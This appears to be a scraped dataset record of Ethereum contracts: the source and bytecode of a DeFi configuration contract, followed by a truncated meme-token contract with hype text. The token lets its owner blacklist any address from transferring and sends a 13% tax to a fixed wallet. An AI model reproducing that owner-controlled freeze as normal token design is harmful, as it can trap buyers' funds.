* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GlobalConfig is Ownable {
using SafeMath for uint256;
uint256 public communityFundRatio = 20;
uint256 public minReserveRatio = 10;
uint256 public maxReserveRatio = 20;
uint256 public liquidationThreshold = 85;
uint256 public liquidationDiscountRatio = 95;
uint256 public compoundSupplyRateWeights = 1;
uint256 public compoundBorrowRateWeights = 9;
uint256 public rateCurveSlope = 0;
uint256 public rateCurveConstant = 4 * 10 ** 16;
uint256 public deFinerRate = 25;
address payable public deFinerCommunityFund = 0xC0fd76eDcb8893a83c293ed06a362b1c18a584C7;
address public bank; // the Bank contract
address public savingAccount; // the SavingAccount contract
address public tokenInfoRegistry; // the TokenRegistry contract
address public accounts; // the Accounts contract
address public constants; // the constants contract
event CommunityFundRatioUpdated(uint256 indexed communityFundRatio);
event MinReserveRatioUpdated(uint256 indexed minReserveRatio);
event MaxReserveRatioUpdated(uint256 indexed maxReserveRatio);
event LiquidationThresholdUpdated(uint256 indexed liquidationThreshold);
event LiquidationDiscountRatioUpdated(uint256 indexed liquidationDiscountRatio);
event CompoundSupplyRateWeightsUpdated(uint256 indexed compoundSupplyRateWeights);
event CompoundBorrowRateWeightsUpdated(uint256 indexed compoundBorrowRateWeights);
event rateCurveSlopeUpdated(uint256 indexed rateCurveSlope);
event rateCurveConstantUpdated(uint256 indexed rateCurveConstant);
event ConstantUpdated(address indexed constants);
event BankUpdated(address indexed bank);
event SavingAccountUpdated(address indexed savingAccount);
event TokenInfoRegistryUpdated(address indexed tokenInfoRegistry);
event AccountsUpdated(address indexed accounts);
event DeFinerCommunityFundUpdated(address indexed deFinerCommunityFund);
event DeFinerRateUpdated(uint256 indexed deFinerRate);
function initialize(
address _bank,
address _savingAccount,
address _tokenInfoRegistry,
address _accounts,
address _constants
) public onlyOwner {
bank = _bank;
savingAccount = _savingAccount;
tokenInfoRegistry = _tokenInfoRegistry;
accounts = _accounts;
constants = _constants;
}
/**
* Update the community fund (commision fee) ratio.
* @param _communityFundRatio the new ratio
*/
function updateCommunityFundRatio(uint256 _communityFundRatio) external onlyOwner {
if (_communityFundRatio == communityFundRatio)
return;
require(_communityFundRatio > 0 && _communityFundRatio < 100,
"Invalid community fund ratio.");
communityFundRatio = _communityFundRatio;
emit CommunityFundRatioUpdated(_communityFundRatio);
}
/**
* Update the minimum reservation reatio
* @param _minReserveRatio the new value of the minimum reservation ratio
*/
function updateMinReserveRatio(uint256 _minReserveRatio) external onlyOwner {
if (_minReserveRatio == minReserveRatio)
return;
require(_minReserveRatio > 0 && _minReserveRatio < maxReserveRatio,
"Invalid min reserve ratio.");
minReserveRatio = _minReserveRatio;
emit MinReserveRatioUpdated(_minReserveRatio);
}
/**
* Update the maximum reservation reatio
* @param _maxReserveRatio the new value of the maximum reservation ratio
*/
function updateMaxReserveRatio(uint256 _maxReserveRatio) external onlyOwner {
if (_maxReserveRatio == maxReserveRatio)
return;
require(_maxReserveRatio > minReserveRatio && _maxReserveRatio < 100,
"Invalid max reserve ratio.");
maxReserveRatio = _maxReserveRatio;
emit MaxReserveRatioUpdated(_maxReserveRatio);
}
/**
* Update the liquidation threshold, i.e. the LTV that will trigger the liquidation.
* @param _liquidationThreshold the new threshhold value
*/
function updateLiquidationThreshold(uint256 _liquidationThreshold) external onlyOwner {
if (_liquidationThreshold == liquidationThreshold)
return;
require(_liquidationThreshold > 0 && _liquidationThreshold < liquidationDiscountRatio,
"Invalid liquidation threshold.");
liquidationThreshold = _liquidationThreshold;
emit LiquidationThresholdUpdated(_liquidationThreshold);
}
/**
* Update the liquidation discount
* @param _liquidationDiscountRatio the new liquidation discount
*/
function updateLiquidationDiscountRatio(uint256 _liquidationDiscountRatio) external onlyOwner {
if (_liquidationDiscountRatio == liquidationDiscountRatio)
return;
require(_liquidationDiscountRatio > liquidationThreshold && _liquidationDiscountRatio < 100,
"Invalid liquidation discount ratio.");
liquidationDiscountRatio = _liquidationDiscountRatio;
emit LiquidationDiscountRatioUpdated(_liquidationDiscountRatio);
}
/**
* Medium value of the reservation ratio, which is the value that the pool try to maintain.
*/
function midReserveRatio() public view returns(uint256){
return minReserveRatio.add(maxReserveRatio).div(2);
}
function updateCompoundSupplyRateWeights(uint256 _compoundSupplyRateWeights) external onlyOwner{
compoundSupplyRateWeights = _compoundSupplyRateWeights;
emit CompoundSupplyRateWeightsUpdated(_compoundSupplyRateWeights);
}
function updateCompoundBorrowRateWeights(uint256 _compoundBorrowRateWeights) external onlyOwner{
compoundBorrowRateWeights = _compoundBorrowRateWeights;
emit CompoundBorrowRateWeightsUpdated(_compoundBorrowRateWeights);
}
function updaterateCurveSlope(uint256 _rateCurveSlope) external onlyOwner{
rateCurveSlope = _rateCurveSlope;
emit rateCurveSlopeUpdated(_rateCurveSlope);
}
function updaterateCurveConstant(uint256 _rateCurveConstant) external onlyOwner{
rateCurveConstant = _rateCurveConstant;
emit rateCurveConstantUpdated(_rateCurveConstant);
}
function updateBank(address _bank) external onlyOwner{
bank = _bank;
emit BankUpdated(_bank);
}
function updateSavingAccount(address _savingAccount) external onlyOwner{
savingAccount = _savingAccount;
emit SavingAccountUpdated(_savingAccount);
}
function updateTokenInfoRegistry(address _tokenInfoRegistry) external onlyOwner{
tokenInfoRegistry = _tokenInfoRegistry;
emit TokenInfoRegistryUpdated(_tokenInfoRegistry);
}
function updateAccounts(address _accounts) external onlyOwner{
accounts = _accounts;
emit AccountsUpdated(_accounts);
}
function updateConstant(address _constants) external onlyOwner{
constants = _constants;
emit ConstantUpdated(_constants);
}
function updatedeFinerCommunityFund(address payable _deFinerCommunityFund) external onlyOwner{
deFinerCommunityFund = _deFinerCommunityFund;
emit DeFinerCommunityFundUpdated(_deFinerCommunityFund);
}
function updatedeFinerRate(uint256 _deFinerRate) external onlyOwner{
require(_deFinerRate <= 100,"_deFinerRate cannot exceed 100");
deFinerRate = _deFinerRate;
emit DeFinerRateUpdated(_deFinerRate);
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80638682913a11610130578063bdb0d27b116100b8578063d3b5be1a1161007c578063d3b5be1a14610501578063d7693d311461051e578063ecc9870a1461053b578063f2fde38b14610543578063fb31ad171461056957610232565b8063bdb0d27b146104af578063bf893914146104cc578063c3693896146104d4578063c53d351b146104dc578063cc5738b5146104f957610232565b80639895880f116100ff5780639895880f1461044b578063a33ff7c214610453578063ace96d0e14610479578063b3bd1c9514610481578063b442a206146104a757610232565b80638682913a146103ed5780638da5cb5b1461040a5780638ea7c5cc146104125780638f32d59b1461042f57610232565b806355baaedb116101be57806368ecef3f1161018257806368ecef3f146103925780636f774409146103b8578063715018a6146103d557806372de5b2f146103dd57806376cdb03b146103e557610232565b806355baaedb1461031b5780635a596d1c1461033857806362891b6614610340578063685ff7421461034857806368cd03f61461036e57610232565b8063268c74e411610205578063268c74e4146102c0578063375b47f7146102c85780633dedc31f146102ee5780634031234c1461030b5780634802b7c11461031357610232565b806308fafb8d146102375780630c249bba1461025157806313afb8ef146102705780631459457a14610278575b600080fd5b61023f61058f565b60408051918252519081900360200190f35b61026e6004803603602081101561026757600080fd5b5035610595565b005b61023f61060f565b61026e600480360360a081101561028e57600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013582169160809091013516610615565b61023f6106bb565b61026e600480360360208110156102de57600080fd5b50356001600160a01b03166106c1565b61026e6004803603602081101561030457600080fd5b5035610752565b61023f61083d565b61023f610843565b61026e6004803603602081101561033157600080fd5b5035610849565b61023f61091e565b61023f610924565b61026e6004803603602081101561035e57600080fd5b50356001600160a01b031661092a565b6103766109bb565b604080516001600160a01b039092168252519081900360200190f35b61026e600480360360208110156103a857600080fd5b50356001600160a01b03166109ca565b61026e600480360360208110156103ce57600080fd5b5035610a5b565b61026e610ad5565b610376610b66565b610376610b75565b61026e6004803603602081101561040357600080fd5b5035610b84565b610376610c6f565b61026e6004803603602081101561042857600080fd5b5035610c7e565b610437610cf8565b604080519115158252519081900360200190f35b610376610d1c565b61026e6004803603602081101561046957600080fd5b50356001600160a01b0316610d2b565b61023f610dbc565b61026e6004803603602081101561049757600080fd5b50356001600160a01b0316610dc2565b61023f610e53565b61026e600480360360208110156104c557600080fd5b5035610e59565b610376610f44565b61023f610f53565b61026e600480360360208110156104f257600080fd5b5035610f82565b610376611052565b61026e6004803603602081101561051757600080fd5b5035611061565b61026e6004803603602081101561053457600080fd5b503561114c565b61023f6111c6565b61026e6004803603602081101561055957600080fd5b50356001600160a01b03166111cc565b61026e6004803603602081101561057f57600080fd5b50356001600160a01b031661121c565b60065481565b61059d610cf8565b6105dc576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600681905560405181907f8792cb1bfe416f1cc137479efed54b16c110e386f36ab33d269896b79dd96a2190600090a250565b60075481565b61061d610cf8565b61065c576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600c80546001600160a01b03199081166001600160a01b0397881617909155600d8054821695871695909517909455600e8054851693861693909317909255600f80548416918516919091179055601080549092169216919091179055565b60035481565b6106c9610cf8565b610708576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0383169081179091556040517fbecde7fe690c73ba54232f00eb06c31464f65b45aff18984febaa80df22dcb8d90600090a250565b61075a610cf8565b610799576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b6001548114156107a85761083a565b6000811180156107b85750606481105b610809576040805162461bcd60e51b815260206004820152601d60248201527f496e76616c696420636f6d6d756e6974792066756e6420726174696f2e000000604482015290519081900360640190fd5b600181905560405181907f68fcc248082a4ef6255e917b838adc7d786d2c513312b39a8b8f747f591e92a390600090a25b50565b60045481565b60055481565b610851610cf8565b610890576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b60055481141561089f5761083a565b600454811180156108b05750606481105b6108eb5760405162461bcd60e51b81526004018080602001828103825260238152602001806114dd6023913960400191505060405180910390fd5b600581905560405181907fdd3919209b55cc8a36f80e4e59ed2a7f25eb84b426cb98e13b9805b56c9fd87890600090a250565b60025481565b60015481565b610932610cf8565b610971576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b601080546001600160a01b0319166001600160a01b0383169081179091556040517f512865ab9ff06b203689e1921943ed54a8ccd9c9586d66a96c3e8a5120fc494d90600090a250565b600f546001600160a01b031681565b6109d2610cf8565b610a11576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383169081179091556040517f37a03df42042204c7ea3f0d9dbe44283a33f092125dbdb9f561e884f883fc9a790600090a250565b610a63610cf8565b610aa2576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600881905560405181907fe6f1a1db38b4abb216a95813fc49a730494a0c4e67180a3491095c9feb61b99f90600090a250565b610add610cf8565b610b1c576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6010546001600160a01b031681565b600c546001600160a01b031681565b610b8c610cf8565b610bcb576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600354811415610bda5761083a565b60025481118015610beb5750606481105b610c3c576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c6964206d6178207265736572766520726174696f2e000000000000604482015290519081900360640190fd5b600381905560405181907f09edb0c5d800f863437b3a2bbda62e87670a2ee0d0d7393d91528b86653686bf90600090a250565b6000546001600160a01b031690565b610c86610cf8565b610cc5576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600981905560405181907fb9b54965572c57575800da41b416fdc81a77e9531892e14a2b8ce6f610776dd290600090a250565b600080546001600160a01b0316610d0d6112ad565b6001600160a01b031614905090565b600e546001600160a01b031681565b610d33610cf8565b610d72576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0383169081179091556040517ffe3d990e3bb62dbf6649423f21da0662810b4f2705032857be268654dea04b8290600090a250565b600a5481565b610dca610cf8565b610e09576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0383169081179091556040517fe8e1a5b0429912cccc46fe2db8f5674dde0987ffc2ef354fbde0344bad0a2abc90600090a250565b60095481565b610e61610cf8565b610ea0576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600254811415610eaf5761083a565b600081118015610ec0575060035481105b610f11576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c6964206d696e207265736572766520726174696f2e000000000000604482015290519081900360640190fd5b600281905560405181907f9908ecf4f1e73ff46a5b94dbb96bd3e037f287f9878cae493114fb422484b1a590600090a250565b600b546001600160a01b031681565b6000610f7d6002610f716003546002546112b190919063ffffffff16565b9063ffffffff61131216565b905090565b610f8a610cf8565b610fc9576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b606481111561101f576040805162461bcd60e51b815260206004820152601e60248201527f5f646546696e6572526174652063616e6e6f7420657863656564203130300000604482015290519081900360640190fd5b600a81905560405181907f3c192391bb396d800b83e59fa038c7d71e0a7f839a4237a53a5737bc5ca3da7c90600090a250565b600d546001600160a01b031681565b611069610cf8565b6110a8576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b6004548114156110b75761083a565b6000811180156110c8575060055481105b611119576040805162461bcd60e51b815260206004820152601e60248201527f496e76616c6964206c69717569646174696f6e207468726573686f6c642e0000604482015290519081900360640190fd5b600481905560405181907feba9f700db57a60a859189ecad4492254a5045e5cae74167bae53564fdea10ca90600090a250565b611154610cf8565b611193576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600781905560405181907f69b1319629d69f49c839d9b85118b8f386ad5941c3f6345d62bd383a4dc487b590600090a250565b60085481565b6111d4610cf8565b611213576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b61083a81611354565b611224610cf8565b611263576040805162461bcd60e51b815260206004820181905260248201526000805160206114bd833981519152604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0383169081179091556040517fef8b5647c690089c14520df26f037bc8e972b2288a14444f356a51320b79e5c790600090a250565b3390565b60008282018381101561130b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061130b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f4565b6001600160a01b0381166113995760405162461bcd60e51b81526004018080602001828103825260268152602001806114976026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081836114805760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561144557818101518382015260200161142d565b50505050905090810190601f1680156114725780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161148c57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572496e76616c6964206c69717569646174696f6e20646973636f756e7420726174696f2ea265627a7a72315820fa13c9837837e0dc434aea407bcd8c3b0acbf380ce64328b262425709bef340264736f6c634300050e0032
|
{"success": true, "error": null, "results": {}}
| 5,156 |
0xb23b5e1f24342142dd892c5a39aeefef337e25f6
|
/*
Telegram: https://t.me/degeninjainu
“仆にとって 忍(しの)びに成(な)りきることを难し、できるなら
君たちを杀したくないし、君たちに仆を杀させたくない けれど 君たちが 无我(むが)って来るなら
仆は刃(やいば)に心(こころ)を杀し、忍びになりきる 仆は 仆の梦のだめに 君たちは 、 きみたちの梦のために
恨(うら)まないて下さい 仆は大切な人を守りたい その人のために?き その人のために?(たたか)い その人の梦を考えたい それが仆の梦 ,
そのためなら 仆は忍びになりきる 贵方たちを 杀します!”
Once a famous ninja called NAKU said the inspiring quote above and the degenninja Inu token is dedicated to follow the philosophy behind.
This ninja had a strong dedication to protect and fight for whoever he finds important and clear any obstacles he shall find.
We believe in the same philosophy and wish to take this further to the crypto world.
With the ever changing situations around the globe, we need a supser star to defend the free world.
With the Eloninja project, we hope to combine the essence of two world renowned icons, establishing the resurrection token one has ever witnessed in the degen world
Telegram: https://t.me/degeninjainu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DEGENINJAINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "DEGENINJA INU";
string private constant _symbol = "DEGENINJA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x402b30D42d23Ef05F249A387636b0DdEA530358e);
_buyTax = 13;
_sellTax = 13;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200_000_001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
